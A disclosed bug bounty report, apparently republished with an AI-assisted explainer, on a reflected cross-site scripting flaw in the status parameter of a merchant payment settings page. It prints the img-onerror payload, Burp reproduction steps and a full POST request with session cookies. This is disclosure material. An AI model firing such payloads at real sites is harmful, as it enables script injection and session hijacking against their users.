Reflected XSS on https://merchant.kartpay.com/payment_settings [status]
A parameter in the payment settings form was reflected back into the response without sanitisation, so a crafted value containing an image tag with an error handler ran script in the page. An attacker could use this to run malicious JavaScript in a victim's browser session.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 28 days
- Disclosed after 44 days
#Vulnerable URL https://merchant.kartpay.com/payment_settings/type
#Parameter
status
#Payload
"><img src=x onerror=alert(domain)>
#Steps to Reproduce
- Login with your credentials.
- Go to https://merchant.kartpay.com/payment_settings
- Start Burp suite proxy and intercept on.
- Click on Run and Save button. intercept the request.
- Enter above payload in vulnerable parameter.
- Right click Show response in browser.
- You will notice that xss will execute.
#POST Request
POST /payment_settings/type HTTP/1.1
Host: merchant.kartpay.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://merchant.kartpay.com/payment_settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: XGf5lqENEGvobu7MFdK2LfgtUoYZ2Hl6JWwYMLOV
X-Requested-With: XMLHttpRequest
Content-Length: 73
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6IkIyMkNoakFhYVVpdmFtalJUc3JZWlE9PSIsInZhbHVlIjoiYTg1TlZFeUZLNzUxaVJoOXZyV1gxSWhZaEh5eTRuWENMRXJLR05tZGZMUVRUQ2ozTWgwbG1IMUlFZ0JxcVk5ZyIsIm1hYyI6IjNhZTI4ODM0YWY3YzM5N2JhZDEzMGE1NjdiODZhZWU4ZWM4YjI1ZjhjYmJhMWNhZGFlYTdkMmQ4OTRhMmRmNDcifQ%3D%3D; laravel_session=eyJpdiI6IlZuRkhIWmMxbFU2ZFArR3lVc1hFM1E9PSIsInZhbHVlIjoiXC9KSFZhVlV4YWpSNWR2YjlFS1F0STF5QTVYMTh3Y1ZNN1hWY2RhZnAxRFArXC9KT2FmUG01UldVR3dYTHdYWE03IiwibWFjIjoiOWMyYzJlY2MwYjY2NDkyMTkxZDhlOGE4Njk0N2QwYTdkNjFkMjRlZWNlNDBjNTc3MmZiYjg5YTI1Yjc4NTkxNiJ9; _ga=GA1.2.1275163119.1563193948; _gid=GA1.2.1455926951.1563193948
merchant_id=729&type_id=5&status=false"><img src=x onerror=alert(cookie)>




Impact
with the help of this attack, an attacker can execute malicious javascript on an application
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the status parameter was echoed into the HTML response without output encoding or validation.
Impact
An attacker could execute malicious JavaScript in the application, though the report does not show a cross-site delivery path to another user.
What the attacker needed
A valid merchant account; attacker can send a crafted request
How it was found
- Log in to the merchant portal with valid credentials.
- Open the payment settings page.
- Turn on an intercepting proxy and submit the form via the Run and Save button.
- Replace the status value in the intercepted request with the test payload.
- View the response in a browser to see the script execute.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a site puts what you typed back into the page without cleaning it, an attacker can slip in code the browser runs. This is cross-site scripting.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.